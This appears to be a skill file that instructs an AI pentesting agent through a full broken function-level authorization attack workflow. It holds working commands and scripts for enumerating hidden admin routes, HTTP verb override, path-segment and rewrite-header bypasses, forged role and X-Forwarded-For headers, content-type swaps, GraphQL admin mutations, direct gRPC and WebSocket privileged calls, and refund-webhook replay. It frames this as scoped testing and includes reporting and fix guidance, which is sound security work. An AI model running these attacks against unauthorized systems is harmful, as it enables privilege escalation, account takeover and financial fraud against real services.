# ATTACK SKILL: BROKEN FUNCTION-LEVEL AUTHORIZATION (BFLA)

## Overview
Action-level authorization bypass workflow targeting privileged functions (admin endpoints, mutations, RPC methods, background-job finalizers) that are reachable by lower-privileged callers because the service does not bind subject to action on every request. Covers vertical privilege escalation, transport drift between REST/GraphQL/gRPC/WebSocket, gateway-injected identity headers, route shadowing, and content-type middleware mismatches.

## When to Classify Here

Use this skill when the user asks to escalate from a non-privileged role into a privileged one by invoking a function the role should not be allowed to call. Concrete triggers:
- Calling admin, staff, support, or moderator endpoints with a basic-user token or with no token
- Invoking GraphQL mutations or gRPC methods that the UI hides or the gateway claims to block
- Bypassing edge gateway checks by hitting the core service or an alternate transport directly
- Tampering with X-User-Id / X-Role / X-Organization headers to flip the actor the backend believes it is serving
- Replaying or finalizing background jobs (exports, refunds, approvals) that skip per-call authorization
- Promoting a user, toggling a feature flag, voiding a payment, or changing a security setting without the entitlement

Keywords: bfla, function-level authz, vertical privilege escalation, admin endpoint bypass, role escalation, X-Role header, X-User-Id, gateway bypass, route shadowing, method override, X-HTTP-Method-Override, _method, mutation auth, gRPC reflection, websocket admin event, finalize job, approve job, refund authorization, impersonate, sudo endpoint.

### Disjoint from neighboring skills

- **vs. built-in `sql_injection`**: BFLA is an authorization gate failure, not an input parsing flaw. No SQL payloads.
- **vs. built-in `xss`**: BFLA exploits server-side function gates. The browser is incidental and only used to capture cookies for the basic actor.
- **vs. built-in `cve_exploit`**: BFLA is logic-flaw discovery, not exploitation of a published CVE. Use this skill when the target is custom application code with no public advisory.
- **vs. built-in `brute_force_credential_guess`**: BFLA assumes valid low-privilege credentials are already held. No password guessing.
- **vs. community `api_testing`**: api_testing is a broad API survey covering JWT, GraphQL, REST, and 403 bypass tricks. BFLA is the focused vertical-escalation workflow. If the user request is "give me admin", route here. If it is "audit my API", route there.
- **vs. community `sqli_exploitation` / `xss_exploitation`**: those are payload-driven injection workflows. BFLA never sends an injection payload, it sends legitimate requests that the service should refuse.
- **vs. community `idor_bola_exploitation`**: the IDOR/BOLA skill is the right home for two-account object swaps, cross-tenant identifier manipulation, and Relay-node-ID enumeration where the operation itself is allowed but the actor does not own the resource. Route to BFLA instead when the bypass works by rewriting the verb, version, transport, identity header, or content-type to invoke a function that the actor is not entitled to call regardless of which resource ID is supplied. Heuristic: "swap accounts" or "cross-tenant" -> idor_bola; "reach admin / staff endpoint", "X-Role header", "v1 vs v2 route", "GraphQL admin mutation", "finalize someone else's job" -> bfla.

## Tools Available
- **query_graph** - Inspect endpoints, parameters, and known roles already mapped in the project graph
- **kali_shell** - Run ffuf, httpx, jwt_tool, graphql-cop, graphqlmap, interactsh-client, curl variants
- **execute_curl** - Issue precise HTTP requests with custom headers and method overrides
- **execute_code** - Drive multi-actor test scripts (Python with two requests Sessions, one per role)
- **execute_playwright** - Capture authenticated cookies / bearer tokens from real login flows when API login is opaque

---

## REAL-WORLD HACKERONE REFERENCES

### Vertical Privilege Escalation via Direct Endpoint
| Report | Target | Technique |
|--------|--------|-----------|
| [#737323](https://hackerone.com/reports/737323) | Clario | X-Rewrite-URL header reaches admin route the front-end blocked |
| [#1357948](https://hackerone.com/reports/1357948) | Kubernetes | Path-segment manipulation walks past the auth filter chain |
| [#991717](https://hackerone.com/reports/991717) | U.S. DoD | Misconfigured middleware, admin endpoint reachable unauthenticated |
| [#1224089](https://hackerone.com/reports/1224089) | Acronis | X-Forwarded-For 127.0.0.1 flips an IP allow-list |
| [#2081930](https://hackerone.com/reports/2081930) | HackerOne | Restricted submit action reachable through the alternate API path |

### GraphQL / gRPC / Mutation Authorization
| Report | Target | Technique |
|--------|--------|-----------|
| [#2218334](https://hackerone.com/reports/2218334) | HackerOne Copilot | Privileged mutation reachable to non-owner |
| [#717716](https://hackerone.com/reports/717716) | HackerOne Gateway | Mutation rewrites another program's state |
| [#862835](https://hackerone.com/reports/862835) | Nuri | Auth blocked on HTTP, allowed on the WebSocket subprotocol |

---

## Phase 1: Reconnaissance (Informational)

The goal of Phase 1 is to build the **Actor x Action matrix** the rest of the workflow will exercise. Do not fire any privileged action yet.

### 1.1 Pull existing surface from the graph
```
query_graph("MATCH (e:Endpoint) WHERE e.project_id = $project_id AND (e.path =~ '(?i).*(admin|staff|moderator|internal|support|sudo|impersonate|approve|refund|void|export|invite|role|permission|feature|flag|finalize|webhook|backup).*') RETURN e.method, e.path, e.parameters ORDER BY e.path")
```
```
query_graph("MATCH (p:Parameter) WHERE p.project_id = $project_id AND (p.name =~ '(?i)(role|isAdmin|is_admin|permissions?|tenant|org|organization|impersonate|owner|userId|user_id)') RETURN p.url, p.name, p.method")
```

### 1.2 Enumerate admin and internal routes the UI hides
Use the basic-actor session captured by the framework (no privileged role). Then:
```bash
ffuf -u https://target.tld/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/admin-panels.txt \
  -mc 200,201,204,301,302,401,403 \
  -H "Cookie: session=BASIC_ACTOR_SESSION" \
  -t 50
```
```bash
ffuf -u https://target.tld/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403,405 \
  -H "Authorization: Bearer BASIC_ACTOR_TOKEN"
```

### 1.3 Diff the paved-road API across versions and clients
Hit the same logical action through every transport the target ships:
```bash
# Web v2 vs legacy v1
execute_curl("GET", "https://target.tld/api/v2/admin/users", headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})
execute_curl("GET", "https://target.tld/api/v1/admin/users", headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})
execute_curl("GET", "https://target.tld/internal/admin/users", headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})
execute_curl("GET", "https://target.tld/mobile/api/admin/users", headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})
```
A status divergence between two routes that should perform the same logical action is the loudest BFLA tell.

### 1.4 GraphQL schema discovery
```bash
# Introspection (often disabled on the public path, sometimes alive on the websocket transport)
curl -s -X POST https://target.tld/graphql \
  -H "Authorization: Bearer BASIC_ACTOR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{mutationType{fields{name args{name type{kind name ofType{name}}}}}}}"}' | jq .
```
When HTTP-side introspection is gated, retry on the GraphQL-over-WS endpoint with `execute_code` (the Kali image does not bundle `websocat` or `wscat`, so drive the WebSocket from Python):
```python
import asyncio, json, websockets

async def probe():
    headers = {"Authorization": "Bearer BASIC_ACTOR_TOKEN"}
    async with websockets.connect("wss://target.tld/graphql-ws",
                                  subprotocols=["graphql-ws"],
                                  additional_headers=headers) as ws:
        await ws.send(json.dumps({"type":"connection_init","payload":{}}))
        await ws.send(json.dumps({"id":"1","type":"start","payload":{
            "query":"{__schema{mutationType{fields{name}}}}"}}))
        for _ in range(6):
            print(await ws.recv())

asyncio.run(probe())
```
When introspection is fully off, recover the schema from "Did you mean ..." suggestion errors. The Kali image does not bundle `clairvoyance`; emulate it with `ffuf` against a wordlist of common GraphQL field names:
```bash
# Build a brute candidate list from SecLists, then probe one field at a time.
ffuf -u https://target.tld/graphql \
  -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer BASIC_ACTOR_TOKEN" \
  -d '{"query":"{ FUZZ }"}' \
  -w /usr/share/seclists/Discovery/Web-Content/graphql.txt:FUZZ \
  -mr "Did you mean" -mc all
```
Flag any mutation whose name contains: `promote`, `setRole`, `assignPermission`, `impersonate`, `disable`, `delete`, `approve`, `refund`, `void`, `forceVerify`, `bypass`, `grant`.

### 1.5 gRPC reflection sweep (if the target exposes gRPC)
The Kali image does not bundle `grpcurl`; drive reflection from Python via `execute_code`. Install `grpcio` and `grpcio-reflection` on demand if they are not already present:
```python
import grpc
from grpc_reflection.v1alpha import reflection_pb2, reflection_pb2_grpc

creds = grpc.ssl_channel_credentials()
chan  = grpc.secure_channel("target.tld:443", creds)
stub  = reflection_pb2_grpc.ServerReflectionStub(chan)

def call(req):
    for resp in stub.ServerReflectionInfo(iter([req])):
        return resp

services = call(reflection_pb2.ServerReflectionRequest(list_services="")).list_services_response.service
for svc in services:
    print(svc.name)
    fdp = call(reflection_pb2.ServerReflectionRequest(file_containing_symbol=svc.name))
    print(fdp.file_descriptor_response.file_descriptor_proto[:1])
```
Flag any RPC named `Promote*`, `Set*Role`, `Impersonate*`, `Approve*`, `Refund*`, `Disable*`, or `ForceVerify*`. When the gateway hides the same RPC behind a REST shim, hitting the gRPC endpoint directly often skips the auth filter chain.

### 1.6 Build the Actor x Action matrix
Record one row per privileged action discovered and one column per actor available in the engagement. Typical actors:

| Tier | Source |
|------|--------|
| Unauth | No header |
| Basic | The lowest-privilege account provided by the engagement |
| Tenant peer | Same role as basic, different organization |
| Staff | Mid-tier role if available |
| Admin | The privileged actor (used only as the "expected to succeed" baseline) |

If the engagement only provides a single actor, the workflow still works, but Phase 2 must focus on header-tampering and route-shadowing attacks rather than cross-actor swaps.

### Captured-traffic workflow (proxy_brain tools)

If HTTP Traffic Capture is enabled, source and drive the actor x action sweep from the recorded history instead of rebuilding every request by hand. proxy_brain tools only see traffic that went through the capture proxy, so route the basic-actor session through it first.

- `redamon.sitemap()` and `redamon.search({"q":"admin","hasAuth":true})` surface the privileged routes actually hit (with per-status counts), feeding sections 1.1-1.3 without a fresh ffuf pass.
- `redamon.replay` is the exploitation engine for one privileged action captured as the basic actor. Drive every Phase 2 bypass from a single captured transaction:
  - Verb drift (2.2): `redamon.replay(id, {"method":"PUT"})`, plus method override via `{"headers":{"X-HTTP-Method-Override":"PUT"}}` or `{"query":"_method=PUT"}`.
  - Route shadowing (2.3): `redamon.replay(id, {"path":"/api/v1/admin/users/123/promote"})` (same-host only; the legacy path must live on the origin host).
  - Identity-header trust (2.5): `redamon.replay(id, {"headers":{"X-User-Role":"admin","X-Forwarded-For":"127.0.0.1"}})`.
  - Content-type swap (2.6): `redamon.replay(id, {"headers":{"Content-Type":"application/x-www-form-urlencoded"},"body":"role=admin"})`.
- `redamon.diff(<admin_baseline_txn>, <basic_replay_txn>)` is the state-change proof of Phase 3.1: compare the admin-baseline read against the post-replay read to show the role / flag / balance changed.
- `redamon.query({...})` builds the actor x action matrix analytically over the traffic table (allowlisted columns / aggregations, no raw SQL); `redamon.to_curl(id)` renders the winning request for the report.

Caveat: redamon.replay pins host/scheme/port to the origin transaction, so it cannot pivot to a separate internal host, gRPC port, or WebSocket transport (use execute_code for 2.8-2.9). To fuzz a header or body position across many values, iterate redamon.replay, since redamon.fuzz only walks one query parameter.

### 1.7 Phase-1 exit criteria
Move on once you can answer:
- Which privileged actions exist? (At least 5 candidate verb/route pairs.)
- Which transports each privileged action ships through? (REST plus at least one of GraphQL, gRPC, WebSocket if present.)
- Which actors are available and what their tokens or sessions look like?
- Which middleware or gateway sits in front of the service? (Server header, Via header, response timing.)

When the matrix is populated, **request transition to exploitation phase**.

---

## Phase 2: Exploitation

Work one privileged action at a time. For each action, attempt the techniques below in order and stop the moment a low-privilege actor performs the side effect. Do not chain to the next action until the current one is either confirmed exploited or proven blocked across every applicable technique.

### 2.1 Direct invocation with the basic actor
The default first move. Only if this fails do you escalate.
```bash
execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN", "Content-Type": "application/json"},
             body='{"role":"admin"}')
```
Compare the response shape and status against the same call as the admin actor. A 200 from basic is the clearest possible BFLA proof.

### 2.2 Verb drift and method override
Many gateways only register an auth filter against the documented verb. The handler accepts the action through any verb the framework wires.
```bash
for method in GET POST PUT PATCH DELETE OPTIONS; do
  execute_curl("$method", "https://target.tld/api/admin/users/123/promote",
               headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})
done
```
```bash
# X-HTTP-Method-Override smuggling
execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN",
                      "X-HTTP-Method-Override": "PUT",
                      "Content-Type": "application/json"},
             body='{"role":"admin"}')
```
```bash
# Some Rails / Symfony stacks honour _method in the body
execute_curl("POST", "https://target.tld/api/admin/users/123/promote?_method=PUT",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})
```

### 2.3 Route shadowing across versions and clients
Hit every variant uncovered in Phase 1.3.
```bash
# Legacy version often skips the new auth chain
execute_curl("POST", "https://target.tld/api/v1/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})

# Internal-mounted clone reachable via the public load balancer
execute_curl("POST", "https://target.tld/internal/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})

# Mobile API often trusts a slimmer middleware stack
execute_curl("POST", "https://target.tld/mobile/api/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN", "User-Agent": "TargetApp/4.2 iOS"})
```

### 2.4 Path-segment tricks against the gateway filter
```bash
# Trailing dot, semicolon, double slash, mixed case
for variant in "/api/admin/users/123/promote." \
               "/api/admin//users/123/promote" \
               "/api/admin/users/./123/promote" \
               "/api/Admin/users/123/promote" \
               "/api/admin/users/123/promote%2f" \
               "/api/admin/users/123/promote;.css" \
               "/api/admin/users/123/promote..;/" \
               "/api%2Fadmin/users/123/promote"; do
  execute_curl("POST", "https://target.tld$variant",
               headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})
done
```
```bash
# Front-end rewrite headers some reverse proxies still respect
for hdr in "X-Original-URL: /api/admin/users/123/promote" \
           "X-Rewrite-URL: /api/admin/users/123/promote" \
           "X-Forwarded-Path: /api/admin/users/123/promote" \
           "X-Override-URL: /api/admin/users/123/promote"; do
  execute_curl("POST", "https://target.tld/api/safe/echo",
               headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN", "$hdr": ""})
done
```

### 2.5 Identity-header tampering
Test which source the backend trusts when the token claim and the header disagree.
```bash
# Inject impersonation hints next to the basic token
for hdr in "X-User-Id: 1" \
           "X-User-Role: admin" \
           "X-Roles: admin" \
           "X-Auth-Roles: admin,staff" \
           "X-Forwarded-User: admin@target.tld" \
           "X-Forwarded-Groups: admins" \
           "X-Tenant-Role: owner" \
           "X-Org-Role: admin" \
           "X-Organization-Id: 1" \
           "X-On-Behalf-Of: 1"; do
  execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
               headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN", "$hdr": ""})
done
```
```bash
# IP allow-list bypass (when the privileged route is restricted to an internal CIDR)
for hdr in "X-Forwarded-For: 127.0.0.1" \
           "X-Real-IP: 127.0.0.1" \
           "X-Originating-IP: 127.0.0.1" \
           "X-Client-IP: 127.0.0.1" \
           "Forwarded: for=127.0.0.1" \
           "X-Host: localhost"; do
  execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
               headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN", "$hdr": ""})
done
```
If only one of these flips the response, you have proof that the backend trusts a header it should not.

### 2.6 Content-type and parser confusion
Some stacks gate on the JSON middleware while leaving the form-encoded handler open.
```bash
# JSON path is blocked
execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN",
                      "Content-Type": "application/json"},
             body='{"role":"admin"}')

# Re-send as form, multipart, or XML
execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN",
                      "Content-Type": "application/x-www-form-urlencoded"},
             body='role=admin')

execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN",
                      "Content-Type": "multipart/form-data; boundary=X"},
             body='--X\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--X--\r\n')

execute_curl("POST", "https://target.tld/api/admin/users/123/promote",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN",
                      "Content-Type": "application/xml"},
             body='<request><role>admin</role></request>')
```

### 2.7 GraphQL function-level escalation
```graphql
# Direct privileged mutation as the basic actor
mutation Promote {
  updateUser(id: "TARGET_USER_ID", role: ADMIN) { id role }
}
```
```graphql
# Alias batching to sneak the privileged field next to a benign one
mutation Mixed {
  benign: me { id }
  promote: updateUser(id: "TARGET_USER_ID", role: ADMIN) { id role }
}
```
```graphql
# Persisted query bypass (some gateways only authorize ad-hoc queries)
# POST /graphql with: {"extensions":{"persistedQuery":{"version":1,"sha256Hash":"<known-hash>"}},"variables":{"id":"TARGET_USER_ID","role":"ADMIN"}}
```
Send each variant with the basic-actor Authorization header. Capture the full response body, not only the status.

### 2.8 gRPC method invocation
With the descriptor in hand from Phase 1.5, call the admin-tagged method directly via `execute_code`. The gateway often only filters the REST shim; the gRPC port is open to anyone who can speak the protocol.
```python
import grpc
from google.protobuf import descriptor_pb2, descriptor_pool, message_factory

# Use the FileDescriptorProto bytes captured in Phase 1.5
pool   = descriptor_pool.DescriptorPool()
fdp    = descriptor_pb2.FileDescriptorProto()
fdp.ParseFromString(FILE_DESCRIPTOR_PROTO_BYTES)
pool.Add(fdp)
factory = message_factory.MessageFactory(pool)

req_cls = factory.GetPrototype(pool.FindMessageTypeByName("admin.PromoteRequest"))
req     = req_cls(user_id="TARGET_USER_ID", role="ADMIN")

creds = grpc.ssl_channel_credentials()
chan  = grpc.secure_channel("target.tld:443", creds)
md    = (("authorization", "Bearer BASIC_ACTOR_TOKEN"),)
resp  = chan.unary_unary("/admin.UserService/PromoteUser",
                          request_serializer=req_cls.SerializeToString,
                          response_deserializer=lambda x: x)(req, metadata=md)
print(resp)
```

### 2.9 WebSocket post-handshake authorization
The Kali image does not bundle `websocat`; drive the WebSocket from `execute_code` with the `websockets` Python library:
```python
import asyncio, json, websockets

async def emit():
    headers = {"Authorization": "Bearer BASIC_ACTOR_TOKEN"}
    async with websockets.connect("wss://target.tld/realtime",
                                  additional_headers=headers) as ws:
        # First read the framework greeting so the connection is established
        print("greet:", await ws.recv())
        # Then emit the privileged event the UI never sends
        await ws.send(json.dumps({"event":"admin.impersonate",
                                   "payload":{"target_user_id":"TARGET_USER_ID"}}))
        print("resp1:", await ws.recv())
        await ws.send(json.dumps({"event":"feature_flag.toggle",
                                   "payload":{"key":"premium_only","enabled":True}}))
        print("resp2:", await ws.recv())

asyncio.run(emit())
```
Per-message authorization is frequently absent when only the handshake is gated, so the privileged event lands as the basic actor.

### 2.10 Background-job and webhook abuse
Many platforms let any authenticated user create a job, then trust the worker to run with elevated privilege when the job is finalized.
```bash
# Step 1 (allowed): basic actor creates the job
execute_curl("POST", "https://target.tld/api/jobs/exports",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"},
             body='{"scope":"all_users"}')
# Capture the returned job_id

# Step 2 (the BFLA): finalize / approve someone else's job
execute_curl("POST", "https://target.tld/api/jobs/exports/JOB_ID/finalize",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN"})

# Step 3: webhook replay
execute_curl("POST", "https://target.tld/internal/webhooks/payments/refund",
             headers={"Authorization": "Bearer BASIC_ACTOR_TOKEN", "X-Job-Id": "JOB_ID"},
             body='{"amount":99999,"target":"OTHER_USER_ID"}')
```
If the finalize/approve/replay route does not re-check the actor, this is a high-impact BFLA.

### 2.11 Multi-actor scripted sweep
Once a candidate technique looks promising, drive it through `execute_code` with a tight identity loop so you can prove the inconsistency cleanly.
```python
import requests

ACTORS = {
    "unauth":     {},
    "basic":      {"Authorization": "Bearer BASIC_ACTOR_TOKEN"},
    "tenant_peer":{"Authorization": "Bearer TENANT_PEER_TOKEN"},
    "admin":      {"Authorization": "Bearer ADMIN_TOKEN"},
}

ACTION = ("POST", "https://target.tld/api/admin/users/123/promote",
          {"Content-Type": "application/json"}, '{"role":"admin"}')

method, url, base_headers, body = ACTION

for actor, auth in ACTORS.items():
    headers = {**base_headers, **auth}
    r = requests.request(method, url, headers=headers, data=body, timeout=15)
    print(f"{actor:12s} status={r.status_code} len={len(r.content):5d} body[:120]={r.text[:120]!r}")
```
The success criterion is **basic returns the same shape as admin while a true non-permitted actor returns 401/403** with the same headers. That is the minimum disjoint-evidence set.

### 2.12 Bypass exhaustion before declaring blocked
Before classifying an action as not exploitable, you must have run, at minimum:
- 2.1 direct call
- 2.2 every alternate verb and method-override header
- 2.3 every legacy / mobile / internal route variant
- 2.4 ten path-segment variants and the rewrite-header set
- 2.5 the full identity-header injection list
- 2.6 form, multipart, and XML body parsers
- 2.7-2.9 every alternate transport the target exposes
- 2.10 the background-job and webhook variants if the action has a queue equivalent

Document each failed attempt. Stopping earlier turns a real BFLA into a missed finding.

---

## Phase 3: Impact Demonstration and Persistence

Reaching a 200 from the privileged endpoint is not enough. You must turn weaponization into observable state change.

### 3.1 Proof of state change
Capture before / after of an authoritative read as the admin actor:
```bash
# Before
execute_curl("GET", "https://target.tld/api/users/TARGET_USER_ID",
             headers={"Authorization": "Bearer ADMIN_TOKEN"})

# Trigger the privileged action with the basic actor
# (one of the 2.x variants that worked)

# After
execute_curl("GET", "https://target.tld/api/users/TARGET_USER_ID",
             headers={"Authorization": "Bearer ADMIN_TOKEN"})
```
The diff (role changed, balance modified, flag flipped, account suspended) is the load-bearing artifact.

### 3.2 Pivot to the next privileged primitive
Once you can call one privileged function, exercise the cluster:
- 2FA reset on another user
- Email or phone verification override
- Feature-flag toggle
- Quota or seat adjustment
- Data export with another user's filter
- Account suspension followed by re-activation

Each successful pivot raises the demonstrated impact tier and tightens the report.

### 3.3 Audit-log inspection (when in scope)
If the engagement permits, attempt to read the application audit log as the basic actor and confirm whether the privileged action is attributed correctly. Two failure modes are common: the log records the basic actor (loud), or the log records the impersonated admin (silent and far more dangerous). Note which one you observe.

### 3.4 Cleanup
- Revert flipped flags, demoted roles, suspended accounts
- Delete jobs and exports you created
- Note any state you could not revert in the report Important Notes section

---

## Proof of Exploitation Levels

Use these tiers when reporting. Reaching at least Level 3 is required to classify a finding as EXPLOITED.

- **Level 1 - Authorization weakness identified**: theoretical bypass shown (status divergence, route shadow visible) but no privileged side effect produced. Classification: POTENTIAL (low confidence).
- **Level 2 - Partial bypass**: privileged read reached, no write yet. Classification: POTENTIAL (medium confidence).
- **Level 3 - Function-level bypass confirmed**: basic actor performs a privileged action with observable state change on a resource owned by another actor. Classification: EXPLOITED.
- **Level 4 - Critical privilege escalation**: chain of privileged actions that grants persistent admin equivalence (role change to admin, master 2FA reset, tenant-wide flag flip, full export). Classification: EXPLOITED (CRITICAL).

A finding only ships as EXPLOITED when (a) the basic actor produced the state change, (b) a true non-permitted actor produced 401/403 against the same request, and (c) the change was visible in an authoritative read or audit surface.

---

## Reporting Guidelines

For each confirmed BFLA, include:

- **Vulnerable function**: HTTP method plus full URL, GraphQL mutation name, gRPC method, or WebSocket event name.
- **Bypass technique**: which Phase 2 sub-step succeeded (verb drift, route shadow, header trust, content-type swap, transport pivot, job finalize, etc.).
- **Actors**: the basic-actor identifier used, and the admin-actor identifier used as the success baseline.
- **Reproduction**: complete request (headers, body, query string) for the basic actor, and the response. Replace secret values with `[BASIC_ACTOR_TOKEN]` style placeholders so the engagement deliverable is shareable.
- **Side effect proven**: the exact state change with before / after evidence.
- **Impact tier**: Level 1-4 from the section above.
- **Affected actors / tenants**: how broadly the bypass scales (single user, single tenant, every tenant).
- **Failed bypass attempts**: short list of techniques that did NOT work, so the reviewer knows the bypass exhaustion was honest.
- **Recommended fix**: bind subject to action at the service that performs the action, on every request, regardless of transport. Specifically: revoke trust in client-supplied identity headers; mirror auth checks across REST / GraphQL / gRPC / WebSocket; require finalize / approve / replay routes to re-validate the actor.

### Example BFLA Finding

```
## BFLA: User Promotion via Legacy Route

**Vulnerable function:** POST https://target.tld/api/v1/admin/users/{id}/promote
**Bypass technique:** Route shadowing (Phase 2.3). The v2 path enforces the role guard, the v1 path skips it entirely.
**Actors:** basic actor `bob@target.tld` (token redacted as [BASIC_ACTOR_TOKEN]); admin baseline `root@target.tld`.
**Reproduction:**
  curl -X POST https://target.tld/api/v1/admin/users/2042/promote \
    -H "Authorization: Bearer [BASIC_ACTOR_TOKEN]" \
    -H "Content-Type: application/json" \
    -d '{"role":"admin"}'
  -> HTTP/1.1 200 OK  {"id":2042,"role":"admin"}
**Side effect proven:**
  Before: GET /api/users/2042 (admin token) -> "role":"member"
  After:  GET /api/users/2042 (admin token) -> "role":"admin"
**Impact tier:** Level 4 (CRITICAL). The promoted account has full admin equivalence.
**Affected actors / tenants:** every tenant; the legacy route is mounted globally.
**Failed bypass attempts:** verb drift on v2, X-Original-URL on v2, X-User-Role injection (v2 overwrites it from the JWT).
**Recommended fix:** retire /api/v1/admin or wrap it with the v2 RoleGuard middleware before routes are bound.
```

---

## Important Notes

- **Stay inside the engagement scope.** Privileged actions are state-changing by definition. Coordinate destructive proofs (account suspension, 2FA reset, refund issuance) with the engagement contact before firing them in production.
- **Never confuse BFLA with BOLA.** A successful BOLA looks like reading another user's record under a normal operation. A successful BFLA looks like calling a privileged operation as a non-privileged actor. If both apply, ship two separate findings with two separate proofs.
- **Single-actor engagements still work.** Without a peer account, focus 2.4 (path tricks), 2.5 (header tampering), 2.7-2.9 (alternate transports), and 2.10 (job replay). Note in the report that cross-actor evidence was not available, and prove the bypass against an admin-only endpoint instead.
- **Do not trust the response status alone.** Some backends return 200 with an empty body when the role guard kicks in late. Always assert against the authoritative read in Phase 3.1.
- **Credential discovery is out of scope.** This skill assumes you already hold valid low-privilege credentials. If the engagement only provides an unauth view, classify the request as a recon task and pivot to the api_testing or built-in `brute_force_credential_guess` skill instead.
- **Cleanup is part of the workflow.** Roll back every promotion, suspension, and flag flip you produced unless the engagement contact has explicitly authorized leaving them in place.
- **References for deep dives:**
  - OWASP API Security Top 10 (2023), API5: Broken Function Level Authorization
  - PortSwigger Web Security Academy: Access control vulnerabilities and privilege escalation
  - PayloadsAllTheThings - Insecure Direct Object References (covers BFLA-adjacent patterns)
